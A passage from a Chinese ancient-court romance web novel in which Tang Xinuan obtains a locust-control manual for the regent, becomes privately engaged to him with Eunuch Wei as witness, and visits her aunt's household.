马车越走越远，忽然看见田地里有人拿着网兜在补什么。 唐兮暖好奇，命连翘停住马车，她赶过去细看。 是几个人在抓煌虫。 唐兮暖不认识煌虫，好奇道：“大叔，你在干什么？” 一位四十多岁的黝黑男人看见几个年轻人皆是一身华丽服侍，非富即贵，哪懂百姓疾苦，出于礼貌随口回他，“在抓蚂蚱。” 他头戴麦秆编成的斗笠，一身青色长衫撩起一角掖在带子里。 回答完继续抓他的蚂蚱。 唐兮暖又不懂察言观色，自然不知道他这个神色是不耐烦。 跟网兜大叔商量，“大叔，你能不能把网兜给我用用，我也抓两只。” 大叔不愿意：“我忙着呢。” 唐兮暖示意小倩，小倩会意从兜里摸出几个铜板，“这个t给你，你把网兜借我们用用。” 大叔虽然不情愿，还是把网兜给他们了。 不过铜板他没接，回到地头蹲下鼓捣一会儿又弄出一个网兜。 注意到连翘盯着他，将网兜递给连翘，“给，抓到一百只不要钱。” 刚才离着远，大家都没注意，这会走路惊动庄稼，噼里啪啦满地都是蚂蚱。 紫苏惊到：“怎么这么多？” 大叔烦心道：“咱们这还是少的，我已经带着乡亲们抓三天了，听说隔壁几个村子，庄稼都快吃完了。” 唐兮暖正在追一只蚂蚱，刚好追到大叔身边，“庄稼都被吃了，农民吃什么？” 大叔叹了口气：“吃什么，有余粮吃余粮，没有余粮饿着。” 唐兮暖皱眉：“可是这么多蚂蚱，光抓也不行啊。” 说话的时间，已经有好几只蚂蚱扑到唐兮暖头上，把她的头发都弄乱了，碰到脸上还痒痒的，刚才玩闹的兴致消失，只剩下厌烦。 大叔祖上有人灭煌立功，族里现在还放着表彰。 大叔从书里看过，知道几种灭煌办法。 不过他人微言轻，家族又破败了，说出去也没人信。 这片地是他们村的，算着这些天蝗虫过境，他每天都过来抓捕。 有人问起，大叔忍不住表达欲，将蝗虫的危害和他祖上治理蝗虫的功绩滔滔不绝讲给唐兮暖听。 末了感叹道：“这些办法，都得官府和百姓全民合作才行，光一家两家使用，是没办法根治的。 比如预防这项，要在秋收后将土地翻过来，把虫卵冻死晒死，从跟上消除蝗灾。” 唐兮暖听着有道理，问道：“你家里还有治理蝗灾的书吗？” 大叔点头：“有啊，就在祠堂里放着呢。” 唐兮暖想也不想的开口：“那你送给我吧。” 这么重要的东西，大叔怎么可能送人。 紫苏赶过来解释：“家里有人在朝廷做官，想把这本书献给朝廷，之后让朝廷带着所有百姓一起治灾，大叔您这可是积德行善的壮举，蝗灾消除，所有百姓都会感激你。” 大叔还是不愿意。 唐兮暖商量道：“那你借我用用，我抄录下来可好？” 大叔犹豫了。 小倩从荷包里拿出十两银子，“大叔，我家公子喜欢，真想帮百姓做点事，您看这着个……” 大叔看在银子的份上，终于同意了。 “行，你们跟我来吧。” 大叔带着几个人去村里的祠堂，治蝗灾的书籍果然放在供桌上。 年代久远，书籍已经破旧，还有地方被老鼠啃坏了。 所记录的方法倒是一点没缺。 唐兮暖坐在简陋的书桌前，一字一字的抄录下来。 …… 今天周川行一大早上朝就被一道闹心的折子给烦到了。 多地发生蝗灾，大片庄稼遭到毁灭性破坏，已经有地方注定颗粒无收。 再没有有效办法，任由蝗灾发展下去，别说税收，所有百姓都得饿着肚皮过年。 周川行把六部尚书挨个骂一遍，竟没一个人能拿出办法。 他气得直接甩袖子离开朝堂，干脆回了他的小勤政殿。 走前指着满朝臣发火：“给你们三天时间，再想不到办法，全都给我去地里逮。” 周川行坐到书房里批了一个时辰折子，怎么都觉得今天的王府静得奇怪。 “唐姑娘不在？” 魏公公注意到周川行脸色不好，小心回道：“不在，带着小倩和紫苏、连翘出城了。” 周川行无奈叹了口气，她倒是悠闲。 这破朝政得忙到猴年马月。 什么时候才能空出时间和喜欢的姑娘在一起聊聊天散散步。 午饭也没吃几口，下午又处理几件大事。 前段时间派左丞相去江南调查贪墨案，当地的知县竟然造反，左丞相受伤，调动当地守军，诛杀两千多叛逆。 周川行越想越不对。 如果不是江南太远，他肯定亲自过去调查。 “二哥，别的不说，当地的知县我认识，他祖母就在京城养老，他怎么可能谋反。”端王也不认为谋反事件属实。 周川行沉吟片刻：“再派个钦差去一趟。” 端王下意识问：“派谁合适？” 实在没有合适人选，周川行犹豫道：“把楚世子叫来，我看他天天闲得很。” 看见端王要走，又道：“我给他一道密旨，让他直接去，秘密调查，不用惊动地方，查清楚了直接回来报给我。” 端王明白周川行的意思。 当初贪墨案就死了十几个人，左丞相去一趟，贪墨案变成谋反案，又死了两千多人。 这江南水深，没有得力的人，只怕见不到真相了。 “二哥，我知道了。” 周川行还是不放心，“你告诉楚世子，让他做什么决定前想清楚，侯府荣辱就在他一念之间。” 傍晚，撒出去一天的唐兮暖终于回来了。 周川行看她灰头土脸的，忍不住打趣：“外边就那么好，一天都不见人？” 唐兮暖背着小手，一步一顿的来到他面前，言语间俏皮又生动。 “二郎，你现在最愁的事情是什么？” 周川行确实有很多发愁的事情。 要说最愁的，当然是蝗灾。 蝗灾过境，片甲不留，再不治理，老百姓都熬不过今年冬天。 “最近蝗灾泛滥，满朝文武都没办法。” 唐兮暖将她今天抄录的蝗灾治理办法从身后拿出来，在周川行面前晃了晃，“二郎，你猜这是什么？” 周川行心里一喜，可又难以相信。 他今早收到奏报，小姑娘都不在家，怎么恰好能有他需要的治灾方案。 唐兮暖发现他的笑容只持续片刻又拉了下去。 虽然她不懂察言观色，可也看得出来周川行不高兴了。 两人相处这么久，心意多少是通的。 她把封面展开，让他看上边的字。 “二郎，你看这是什么。” 蝗灾救治办法。 周川行忍不住激动一把抢过翻开。 从虫卵到成虫捕杀以及防治，全都写的清清楚楚。 想睡觉就有人递枕头，受伤立刻遇到神医，绝境之处柳暗花明…… 周川行无法形容此刻的心情。 眼里的欣喜无法克制，他握住小姑娘两手，充满感叹道：“你可真是我的福星。” 能帮到周川行，唐兮暖无比开心，如今她也学会了谦虚，“我就是随便转转，遇到个抓蚂蚱的大叔，恰好他祖上有人治蝗灾立过功，我本来想要他的原本，他舍不得，我就给抄下来了。 没想到真能帮到你。” 刚才进府，她已经听魏公公说起二郎发愁的事情。 “二郎，只要能帮到你我就好开心好开心。” 周川行握着她柔荑似的小手放到唇边亲了一口，注意到小拇指磨出茧子，心疼坏了。 “让我怎么感谢你好，要不……以身相许吧。” 唐兮暖知道以身相许什么意思，“通常是女子将全部情感身心奉献给心爱的男子。二郎，你是要把你的全部情感和身心都给我吗？” 周川行握住她两手放在自己心口上，“那你要不要？” “我要，”唐兮暖毫不犹豫道，“可是，以身相许没有父母之命，媒妁之言还是不被承认，我们两个仍然没有名分。” 她最近读书多，专门研究过怎么给人名分。 周川行恨不得现在就把人娶回家。 可两个人可怜，都没有父母了。 倒是同病相怜，两个人都有一个哥哥。 不过小姑娘的哥哥是死刑犯，见不了光。 而他的哥哥躺在床上和个活死人差不多。 目光落在门口的魏公公身上。 魏公公侍奉他父亲几十年，父亲过世，又侍奉他母亲十多年。 可以说，他们兄妹几人，能健健康康长这么大，魏公公居功至伟。 “暖暖，没有父母，我们现认一个就是了。” 他起身把魏公公拉进屋，坐到王椅上。 之后拉着唐兮暖一起跪下。 “魏公公，从今天开始，您就是我和暖暖的义父。” 魏公公吓坏了，急忙从椅子上弹起来。 两手摆得和拨浪鼓似的，“这可使不得，这可使不得，老奴怎么做得了王爷的义父。” 周川行重新把人摁下，“义父，看在我和暖暖都无父无母的份上，你老就当帮我们一回儿，我和暖暖一定奉养您天年。” 第57章 魏公公是天阉之人,从小在周家长大，一直侍奉先皇。 周川行几个兄弟出生时，魏公公都在旁边服侍。 当年的几个孩子,如今都已长大成人。 可惜他们父母早逝，只留下几个孩子，苦苦支持到现在。 魏公公是真心把几个孩子当成自己亲生的照顾。 可惜他t只是一个太监,能做的实在有限。 此刻被周川行扶到王椅上，想起过往种种，老泪横流，他擦了好一会才擦干。 “你们兄弟几个，只有你最辛苦，这些年一直在外领兵打仗，不光辛苦，还很危险，要不是你，这大周朝哪能挺到今天。 如果太后还活着,你和端王、朝栎的婚事也有人做主，偏偏太后…… 唉,老奴真是为你们几个心疼。” 周川行常年带兵在外,一直把自己伪装成感情冷漠的人。 可今天这种情况，铁石心肠也无法不动容。 “义父在上,我和暖暖以后还求您多多照拂。” 魏公公汗颜，“老奴哪有能力照顾你们。” 周川行倒也没想让魏公公帮多大的忙,“我和暖暖的婚事，还请您做主，做个见证人。” 魏公公到此也就明白了，他要做工具人了。 “王爷,您和暖暖天造地设，真真一对碧人，老奴今天就托这个大，给你们证婚，祝你们佳偶天成，百年好合。” 周川行眼含热泪，低头盯着漂亮娇美的小姑娘。 “暖暖，你可愿意嫁给我？” 虽然没有盛大的婚礼，也没有凤冠霞帔，可唐兮暖很开心。 “二郎，我愿意。” 周川行忍不住抱她，深情相拥。 片刻后放开她，“今天有些仓促，等我找钦天监选个好日子，咱们在府里完婚。” 唐兮暖顺从地点了点头：“都听二郎的。” 两人起身。 唐兮暖累了一天，周川行命人送她去后宅休息。 魏公公明白周川行提的在府里完婚什么意思，不能公之于众，还算私定终身。 亲眼看着长大的孩子受到如此委屈，怎么可能不心疼。 目送唐兮暖离开，他攥了攥拂尘，发誓一般的说道：“王爷，老奴拼着这条命不要，也要让您光明正大的娶回唐姑娘。” 周川行认认真真地行拱手礼，“多谢义父成全。” 魏公公又被感动的流泪了。 周川行斟酌片刻，道：“在府里做个公公太委屈你了，你辛苦一辈子照顾我父皇母后，如今又来府里照顾我，就封你一个国公吧。” 魏公公急忙道：“这怎么行。” 周川行：“堂堂摄政王认一个公公做义父，于理不合，到时候你见证的婚礼也没办法做数。” 魏公公明白了，“那老奴就领旨了。” 周川行又道：“不过这个国公爷我不能封，得找皇后封，你明白我的意思吗？” 魏公公明白：“老奴知道怎么做。” 全程围观下来，端王仿佛看了一场戏。 待魏公公出去后，端王走到周川行身边，捏着下巴琢磨，“二哥，你到底要做什么，我怎么越来越糊涂了？” 周川行凉凉的瞥他一眼：“书不好好读，差事也不好好办，终身大事也不急，让你早点成亲早点要个孩子，你也不上心，只能我自己谋划了。” 端王诧异道：“你把我也算进去了？” 周川行：“就问你想不想娶楚三小姐？” 端王毫不犹豫道：“我当然是想娶的，可人家不愿意跟我。” 周川行拿这个弟弟实在没办法：“那你就顺其自然吧，会如愿的。” 唐兮暖回到后宅，一个人坐在窗边也不知道在想什么，小倩就见她白皙的小脸越来越红，越来越红。 “小姐，您和王爷刚才……算是成亲了吗？” 唐兮暖也不知道算怎么回事。 “至少算是订婚了吧。” 她记得书里写过，订婚是要给定情信物的。 “小倩，我祖父送我的那块砚台还有吗？” 小倩仔细回忆砚台的去处，“有肯定是有，”灵光一闪，她忽然拍了一下脑袋，“我想起来了，当年您进侯府的东西都由夫人收着呢，前年世子爷去库房找东西，发现那块砚台，被他拿走了，现在就在他书房里放着呢。” 唐兮暖恍惚记着一些小时候的事。 祖父没少在她面前摆弄那块砚台，还说等她以后嫁人了，就把那块砚台送给姑爷。 现在她决定嫁给周川行，那块砚台自然是周川行的。 “小倩，我们什么时候偷偷回一趟侯府，把那块砚台拿回来。” 小倩害怕世子爷，“小姐，这太可怕了吧，万一被世子爷抓住，您再想出来……” 唐兮暖敲了敲窗户，示意连翘进来。 “唐姑娘，您叫我？” 唐兮暖朝她眨眨眼，“你有没有偷过东西？” 连翘有些心虚的摇头，“我是好人，怎么可能做那种偷鸡摸狗的事。” 唐兮暖遗憾道：“那就不能交给了，小倩你叫百合过来。” 连翘一直和百合争宠，怎么可能把机会让出去，“唐姑娘，偷东西这种小事，您还是交给我吧，保证手到擒来。” 唐兮暖把砚台画下来，又画了一份侯府地图。 “这是我表哥的书房，砚台就在他书房里，你去偷……不对，那是我的东西，你帮我取回来。” 连翘底气十足道：“保证完成任务。” 什么是心有灵犀，唐兮暖在琢磨送周川行定亲信物的时候，周川行也想到了这事。 当年皇后打造了四只翡翠镯子，送给他们兄弟三人和朝栎一人一只。 处理完朝政，他回卧室找出来，送到唐兮暖的卧室。 “这是什么，送我的？”唐兮暖看见礼物开心之情不加掩饰，眼里都亮晶晶的。 周川行温和的笑着，坐到她对面，“打开看看。” 是一只水头成色都极好的翡翠镯子。 “好漂亮。” 周川行接过来亲自戴她手腕上，“这是母后准备好送给儿媳妇的，皇后有一只，三弟有一只，朝栎也有一只。” 唐兮暖肌肤白，极品翡翠镯子衬着她越发冰肌玉骨。 她举手到周川行面前晃了晃，“好看不？” 周川行眼里的惊艳无法掩饰，“好看，我们家姑娘戴什么都好看。” 唐兮暖越发开心，“二郎，你真好。” 定情信物自然是双方互给，周川行担心小姑娘想不到，主动提醒，“那我的呢，你打算送我什么？” 唐兮暖眨了眨眼，神神秘秘的说道：“我已经让连翘去取了。” 周川行实在好奇，“什么东西，她去哪取了？” 唐兮暖很想给他一个惊喜，可她实在忍不住。 “是我祖父留给我的一块砚台，他说以后我有了婆家，那块砚台送给姑爷做礼物。” 小姑娘成长迅速，已经能想到定情信物。 周川行十分高兴。 “好，我等你。” 唐兮暖又道：“砚台在侯府呢，我画了地图，连翘去帮我取了。” 周川行忍不住把柔软的小姑娘抱进怀里。 就算私定终身也得走完流程，他不能委屈了自己的小姑娘。 所以还是要请钦天监选个好日子。 否则他真想和小姑娘同床共枕，哪怕什么都不做，就这样互相靠着也是好的。 唐兮暖上午在郊外抓蚂蚱，下午抄书，一整天都没闲着，晚饭后没多久打起哈欠。 她想睡觉了，可周川行一直不走。 她最近读了不少女则，已经逐渐明白男女授受不亲的道理。 尤其没成亲的男女，是不能在一起睡觉的。 “二郎，你不走吗？” 周川行很想留下来，只要小姑娘一句话，哪怕不上床光在床边守着也是好的。 “走，走啊，”周川行嘴上说着走，可一点行动没有。 目光落在小姑娘乌黑柔顺的长发上，“暖暖，我帮你通发。” 唐兮暖还挺震惊，“你会通发？” 她每次自己通发都弄得乱七八糟，有几次薅到头皮，气得她摔了篦子。 “不会我可以学。”周川行眼底含笑望着自己的小姑娘。 唐兮暖下意识捂住脑袋，“那我不要，万一被你弄疼怎么办。” 周川行手痒难耐，“我轻点，保证不疼。” 唐兮暖不信，“一看你就不会。” “相信我，”周川行抓着她不让跑，“我学习很快，肯定不会弄疼你，乖，先让我试一下。” 唐兮暖一副大丈夫一去不复还的悲壮气势，挺直脊背，一本正经地说道：“那你来吧。” 周川行忍俊不禁，“就这么害怕！” 他先将长发整理好，之后捏着篦子从发顶一点一点的通下来。 她长发柔顺，仿佛缎子面一般，一点结都没有，篦子一通到底，哪里会弄疼她。 小姑娘就是娇气而已。 “疼吗？” 唐兮暖绷着小脸摇头，随后冲周川行呲出两排小白牙。 为自己的心虚找补，“我这不是想着你舞刀弄枪的手做不了这么精细的活嘛。” “嫌我糙是不是？” 周川行不给她通发了，哈了哈手去抓她的痒痒肉，“还没成亲都开始嫌弃我t了，你个小坏蛋，看我怎么收拾你。” 唐兮暖一边躲着，一边抱起被子往他身上扔。 “大坏蛋，看我怎么打你。” 两个人你来我往很快闹作一团，也不知道谁先倒下的，竟然呈现出一个男下女上的姿势。 周川行没做过这么暧昧的事，杀人不眨眼的铁血男儿竟然红了脸。 唐兮暖只穿了一条薄薄的纱裙，白润的藕臂和两条长腿都露在外边。 可她偏偏不觉这样的自己有多妩媚。 有多勾人。 有多要命。 她使劲捏了捏周川行两侧脸，“二郎，看我怎么收拾你！” 周川行不受控制，发出一声闷哼。 唐兮暖吓了一跳，“怎么了，我碰到你了啊？” 周川行咬着牙回她：“没有。” 唐兮暖有些懊悔道：“最近胖了不少，是有点重。” “不胖不胖，”周川行担心她有控制体重的想法，好不容易养起点肉，少一克他都心疼，“再长点肉才正好。” 他不动声色的把人拉下来，盖上被子，隔绝她那勾人命的身体。 唐兮暖不愿意了，“这么热的天，你给我盖被子，想热死我是不是！” 她轻轻眨了眨眼，鸦羽似的睫毛轻颤，周川行怀疑自己的魂都没勾走了。 他忽然转身，把人扣进怀里。 “让我抱抱。” 唐兮暖比他大方，伸长手臂搂住他的后背。 “二郎，其实……我们已经定亲了，你不走也是可以的。” 周川行以前太瞧得起自己的定力，以为自己也能坐怀不乱。 现在才发现，完全是因为自己没遇到喜欢的姑娘。 此刻，他只想化身为禽兽，什么都不用想，只用他无尽的体力尽情的去做最原始的动作。 第58章 最终周川行还是离开了唐兮暖的闺房。 不过是在小姑娘睡熟之后。 东方露出鱼肚白。 他给唐兮暖盖好,轻手轻脚回了自己的房间。 虽然已经到了他每天起床的时候，不过只要他回自己床上，哪怕只躺一刻钟,那他也是在自己房间睡的。 这一刻钟，他完全没有睡意。 脑海里全都是小姑娘的一颦一笑，抱着小脑袋不让他通发喊疼的,冲他呲出两排小白牙的，把他摁到身下要给他教训的…… 世上怎么有如此可爱又调皮的小姑娘。 只要想到她，哪怕一丝一缕，他的心都被填补的满满当当。 老天爷能如此吉时的把人送到他身边，真好。 这一觉唐兮暖一直睡到日上三竿，然后，天塌了。 连翘昨晚夜闯侯府，被楚衍诺抓了。 紫苏担心妹妹跟过去的时候，侯府灯火通明，妹妹被五花大绑送进柴房。 而柴房外边重兵把守,她一个人根本救不出来。 唐姑娘交代这么点小事她们姐妹都没办好，根本不敢去扰唐姑娘。 目前紫苏正守在侯府外边以待时机。 唐兮暖还是听百合说的。 “唐姑娘,我就说连翘武功不行,性子冲动办不好差事，您把这事交给我,我肯定帮您办得妥妥当当。” 唐兮暖已经能逐渐分析出百合这种行为的心里。 因为她出门总带连翘，百合不高兴了。 想起彩月楼帮睿王作假那天,百合在外边缠住睿王的暗卫，让睿王丢尽了脸。 这么大功劳，她还没赏过百合。 “小倩，你拿二十两银子给百合和黄芪。” 百合慌了,“唐姑娘，你不是想赶我走吧，我也不是故意告连翘的状，就是想让你出去的时候多带带我。” 唐兮暖笑道：“不是赶你，是谢你那天绊住睿王的暗卫。” 百合松了口气，“谢谢唐姑娘，这是我和姐姐应该做的。” 唐兮暖这些日子没少得连翘照顾，又是因为自己陷进侯府的，她有义务把人救回来。 但让她自己上门和表哥理论，一来她辩不过表哥。 再者，她也不想和表哥见面。 免得想起种种过往，忽然恨上他。 念在侯府一家把她养大，她不想和表哥成为生死仇人。 事已至此，她打算往前看。 “我写张字条，你去侯府找楚世子，交给他。” 砚台是她外公之物，她完全可以正大光明的要回来，凭什么偷偷摸摸被他牵着鼻子走。 百合领命，带着纸条直接去侯府。 楚衍诺昨天接到摄政王命令，让他尽快赶去江南暗查当地谋反事件。 他好不容易有了表妹消息，怎么可能甘心离开。 他自己找不到人，便逼着妹妹把人带回来。 否则半月之后，他就把人嫁给小公爷。 当然，他只有这一个妹妹，不可能忍心，可妹妹也太过忤逆，不吃点教训，都不把他这个哥哥放在眼里了。 王命不可违，他今天必须离开京城赶往江南。 牵涉到谋反，任务危险，可如果差事办得好，被王爷重用指日可待。 不过有太师一党压制，他想升官绝非易事。 当年外公一家被太师一党害死，这个血海深仇还没报。 这次奉命去江南办差查贪墨案的是左丞相，贪墨案没查清楚，反而弄出一个两千人谋反案。 光听听都要笑死人的程度。 左丞相也敢。 而他恰好是太师的人。 如果从左丞相下手，不愁外公大仇报不了。 外公和舅舅平冤昭雪，表妹就算再生气他娶了旁人，也会感念他这一腔真诚。 到时候，她还不主动回到他身边。 “世子爷，门外有位姑娘找您。” 楚衍诺刚准备好行囊。 昨晚抓夜闯侯府的小贼耽误些时间，否则他已经离开京城了。 “带进来。” 百合不是第一次见楚世子，不过面对面还是第一次。 楚衍诺不认识她，“姑娘是……” 百合将字条给他。 楚衍诺一眼认出表妹的字迹，手指忍不住颤抖，呼吸艰涩，一度窒息到胸闷气绝。 “表妹……她在哪？” 百合不是来跟他叙旧的，“唐姑娘说了，世子爷见到字条，会让我带走一个人还有一件物件。” 人指的是昨晚的小贼。 楚衍诺可以放人，他昨晚就认出来，那小贼是跟在表妹身边的护卫。 否则他早大刑伺候了。 可表妹要砚台做什么？ 他恍惚着记起来，当年舅舅把人送进侯府，提过那块砚台是外公之物。 等表妹定下亲事，那块砚台便送给姑爷做礼物。 当年舅舅送表妹过来，还带来一箱珠宝以及两万两银票。 给表妹傍身用的。 那些东西一直在库房里放着。 如果说表妹一直在装傻，那舅舅放在侯府里的东西，她肯定都知道。 那么多珠宝银票不要，偏偏要一方砚台？ 所以，表妹要和别人定亲了。 定亲了…… 意识到表妹要别人定亲，楚衍诺头昏眼花险些站不稳。 “你是端王府的人？” 百合不想回他：“唐姑娘只交代我把连翘和砚台带回去，别的没让我说。” “人你可带走，砚台丢了，等我找到自会送到表妹面前。” 楚衍诺命人去放连翘，之后他片刻没敢停留，直奔江南。 他得尽快给外公一家报仇。 为今之计，只有这件事能打动表妹了。 连翘被关进柴房一宿，倒是没受什么折磨，可心里不服。 早晚要找楚衍诺把这笔账讨回来。 看见百合，有些怔愣：“怎么是你？” 百合得意道：“是我救了你，还不谢谢我，要不是我你还不知道关到什么时候。” 连翘哼了一声：“谁信你有那么好心，肯定是唐姑娘让你来的。” 两人一路拌着嘴回去复命。 唐兮暖听说砚台找不到了，她不想猜表哥的意图，只是有些遗憾。 那是她决定送给二郎的定情信物，如今找不到了，她送点什么好呢…… 楚衍诺去江南办差自然要跟侯夫人打招呼。 侯夫人担心儿子，可也担心唯一的侄女。 待他走后，吩咐女儿给唐兮暖送信，请她去侯府见面。 唐兮暖听说楚衍诺今天出门，不由得后悔昨天不该派连翘夜闯侯府。 今天她完全可以正大光明的取回砚台。 “小姐，小姐，府里来人了。” 小倩刚去小厨房，听人议论，太师带着女儿来王府赏花。 她急忙赶回来告诉小姐。 唐兮暖正在梳妆，“你慌慌张张的跑什么，快点换衣服，我要回侯府了。” 小倩一怔：“您回侯府？” 唐兮暖点了点头：“对呀，刚才表妹捎信过来，表哥今天去江南了，我回去看望姑母。” 小倩心不在焉地哦了一声，悄声道：“小姐，王小姐刚才进府了，王爷正在和王小姐聊天，您不担心呀？” 唐兮暖茫然道：“我担心什么？” 小倩为有这么迟钝的主子发愁，“皇后做主，要给两个人定亲呢，今天两个人见面，多半是要定日子了。”t 唐兮暖早听二郎解释过。 再者两个人昨晚已经定亲。 她相信二郎。 “我知道了，你快点换衣服。” 小姐都不急，小倩急也没办法。 “那奴婢去换衣服。” 自从唐兮暖离开侯府，今天还是她第一次回去。 她不止带了小倩，还带了百合和黄芪。 往常都是连翘跟着出门，这次栽到楚衍诺手里，怀疑自己被唐兮暖嫌弃了，心里越发气恼。 百合好不容易有机会跟着唐兮暖光明正大的出门，一路都很高兴。 “唐姑娘，您就放心吧，我这两只眼睛比天上的鹰隼还厉害，什么人才、危险都逃不出我的视线。” 周川行送给她的几个婢女和护卫都很能干，唐兮暖各个都喜欢。 “知道了，你最棒了。” 百合高兴道：“那姑娘可要经常带我出门。” 侯夫人将近两个月没见到侄女，乍一相见，眼窝发热，眼泪稀里哗啦的往下流。 “暖暖，姑母对不起你。” 她把人抱进怀里，心里是无尽的悔恨。 儿子小时候乖巧懂事，一张嘴把她哄得晕头转向，保证对表妹好，主动把照顾表妹的事情揽过去。 那个时候侯爷忽染恶疾，太医都查不出来，她整天忙着照顾侯爷，忽略了侄女。 以至于她意识到的时候，儿子翅膀已经长成，她又是罪臣之女已经无能为力。 忽然见到亲人，唐兮暖心情也很复杂，她回抱住侯夫人，忍着哽咽安慰：“姑母，暖暖过得很好，您不用为暖暖担心。” 她松开侯夫人，示意所有人都退出去。 屋里只留下她和姑母以及表妹三个人。 黄芪和百合守在门口，任何人都不许靠近。 “姑母，我找到哥哥了。” 侯夫人：“……” 她简直无法相信，“你说你找到阿邺了？” 唐兮暖点头，“是王爷帮我找到的。” 侯夫人心里酸涩难忍。 当年父亲一家被满门抄斩，包括不到十岁的侄子。 只有五岁心智有问题的侄女逃过一劫。 他一直以为娘家一门绝后了，没想到老天有眼，竟然放过了她唯一的侄子。 侯夫人激动之余，跪地感谢老天爷。 楚衍晴跟着母亲一起跪下。 唐兮暖学着两个人的样子，也跪下，侯夫人说一句，她学一句。 待侯夫人感谢完，几人才起来继续说话。 “暖暖，你跟姑母说，你从侯府出去后一直在王府生活吗？王爷他对你好不好？” 唐兮暖如实回道：“我和小倩离开后先跟王爷在宫里住了一段时间，”她没提自己生病的事，“后来住进王府一直到现在，王爷对我很好，允许我自由出入王府，他还给我派了护卫。” 侯夫人把小侄女仔仔细细打量过，比在侯府时丰腴不少，脸上挂着笑，人精神，一双大眼睛充满灵气。 似乎成长了不少。 光看外表就知道比侯府生活的好。 “对你好就行，对了，你哥哥现在在哪？他过得怎么样？” 唐兮暖不想说出哥哥具体信息，她也会担心隔墙有耳。 “姑母，他很好，比想象的好。” 侯夫人不再追问，“那王爷对你是什么态度？他想过娶你吗？” 提到婚事，唐兮暖羞羞答答的有些不好意思，“姑母……” 侯夫人虽然困于后宅，可对外边的事情也不是没有任何听闻：“姑母听说他要和太师的女儿定亲了，她能容得下你吗？王爷……想让你做妾……” 难道他们唐家的女儿，注定逃不脱作妾的厄运！ 唐兮暖摇了摇头，认真而坚定：“姑母，我才不做妾。” 侯夫人：“那你们两个……你总不能一直这么没名没分的跟着他。” 第59章 唐兮暖把袖子挽上去,露出翠绿的翡翠镯子，“姑母，我们两个昨晚订婚了,这是他送我的定情信物，他是不会娶别人的，让我等等,他会给我一个交代。” 水头成色都是极品，通透的镯里绿草飘动，仿佛一副灵动的画卷，侯夫人看一眼便觉得熟悉，好像在哪见过。 楚衍晴最先认出来，她简直不敢相信自己的眼睛。 “王爷把这只镯子给你了？” 唐兮暖只觉得漂亮，并不知道它的来历。 “二郎送我的。” 楚衍晴跟侯夫人解释，“娘，当年太后一共打了四只镯子，一只送给了当今皇后,另外三只，摄政王、端王和朝栎一人一只。” 玉石是当年摄政王平定番邦,藩王进贡的。 太后极其喜爱,命人打造出四只镯子，曾在寿宴上给众人观赏过。 送给儿子的,以后转送儿媳妇。 不管镯子价值几许，可其中的意义重大。 谁拿到这只镯子,就说明她要做王府的当家主母。 女儿一提，侯夫人也想起来了，“我就说眼熟，原来是太后留给儿媳妇的,当年摄政王打了胜仗，太后特别高兴，我亲眼看见四只镯子放在一起，太后送给皇后一只。” 摄政王既然把母亲留下的宝物送给小侄女，自然是真心相待。 侯夫人终于放心了，“只要王爷对暖暖好，你父母在天有灵，也能安心了。” 唐兮暖还有要事没说：“姑母，我今天来还有一件事，那就是外公留下的那块砚台，我想拿回去，二郎送我这么贵重的东西，我也不能太小气了。” 小侄女考虑的不错。 侯夫人脸色却有些不好。 “昨晚有个姑娘闯进书房，是你派过来的吧？” 唐兮暖也没什么不能承认的，“我本来想悄悄拿走……” 侯夫人叹了口气：“砚台被你表哥藏起来了，如果昨晚没有打草惊蛇，没准还有机会，现在……只怕除了你表哥，谁都找不到了。” 唐兮暖不死心，“那我一会儿自己找找。” 侯夫人自然不会阻拦，“好，没准你了解他藏东西的习惯，能找到。” 想到兄长寄放在侯府的东西，吩咐楚衍晴，“你去库房把你舅舅当年放在这的东西拿来。” 楚衍晴很快去而复返。 将一箱珠宝以及两万两银票放到桌子上。 “娘，都在这了。” 睹物思人，侯夫人又落了泪。 “暖暖，这是你父亲当年送你来的时候，一起带过来的，如今你长大了，该怎么安置，你自己看着办吧。” 唐兮暖已经不记得这些细节。 生离死别之际，父母把所有的心思和精力都花在了安置她和哥哥身上。 好在，老天有眼，她和哥哥都平安活下来了。 父母之仇，不共戴天，她早晚会帮父母祖父祖母讨回来。 “姑母，您知道我的仇家是谁吗？我爹爹有没有告诉您？” 侯夫人：“……” 侄子侄女相认，侄女却不知道仇人是谁，可见侄子并没有让侄女参与的打算。 她这个做姑姑的，只盼着侄女平安无恙，哪里舍得她陷入危险。 “暖暖啊，姑母一直派人调查，不过一直没找到线索，等姑母查到了，一定会告诉你的。” 她示意女儿帮忙遮掩过去。 楚衍晴眼观鼻鼻观心，岔开话题，“表姐，王爷你们两个定亲是怎么回事？” 唐兮暖果然被转移了注意力。 “我们两个都没有父母做主，就认了一位义父，给我们两个作证，等钦天监选了黄道吉日再成亲。” 侯夫人诧异道：“那大办吗？” 唐兮暖没想过这个问题，“二郎说只在府里办理，大概只有府里的人知道，不会请姑母过去喝喜酒。” 侯夫人明白王爷的难处。 皇后一族高高在上，为保荣华富贵，肯定想把摄政王攥在手里。 怎么可能允许他娶王家的仇人。 她要不要把真相告诉小侄女，让她做些防备呢…… 两个月没见，小侄女成长迅速，可也没办法面对那么强大的对手。 算了，还是等等吧。 “暖暖长大了，自己的事情自己看着办吧，有了麻烦记得来找姑母，姑母能做的一定竭尽全力。” “谢谢姑母，”唐兮暖真心实意地感谢。 当天中午，唐兮暖在侯府吃的饭。 下午天气没那么炎热才离开侯府，打算在外边转转再回王府。 侯夫人不放心她自己离开，吩咐楚衍晴把人送回去。 姑侄很久没见，分别时自然忍不住伤感。 侯夫人想留她在侯府住几天，楚衍诺去江南出差没个十天半月肯定回不来。 唐兮暖已经把王府当家，舍不得二郎一个人在家。 “姑母，有机会我会时常回来的。” 侯夫人依依不舍地看着她的马车离开。 百合好不容易跟着唐兮暖出来一回，誓要寻点什么回去。t 功夫不负苦心人，还真被她发现一个怪人。 一个看不清容貌的男人鲜血淋漓地躺在墙角，眼看着只有进的气没有出的气了。 “唐姑娘，你看那里。” 唐兮暖顺着她手指的方向看过去，情形太过惨烈，她下意识拉住小倩。 “那人怎么了？” 百合跳下马车，“唐姑娘，我过去看看。” 小倩想把人拉住，奈何百合动作太快，根本没给她机会。 百合很快去而复返，她不是一个人回来的，还扶着个血葫芦。 小倩不高兴道：“这人都要死了，也不知道好人坏人，你扶回来干什么。” 百合据理力争，“叫花子都能做侍郎，你怎么知道他不是下一个侍郎。” 唐兮暖硬着头皮挪到车里，“那你快点扶上来。” 就这么，五个姑娘捡回去一个血葫芦回了王府。 马车里，血葫芦发出痛苦的呻吟，吓得几个人紧紧挤到车厢尾巴。 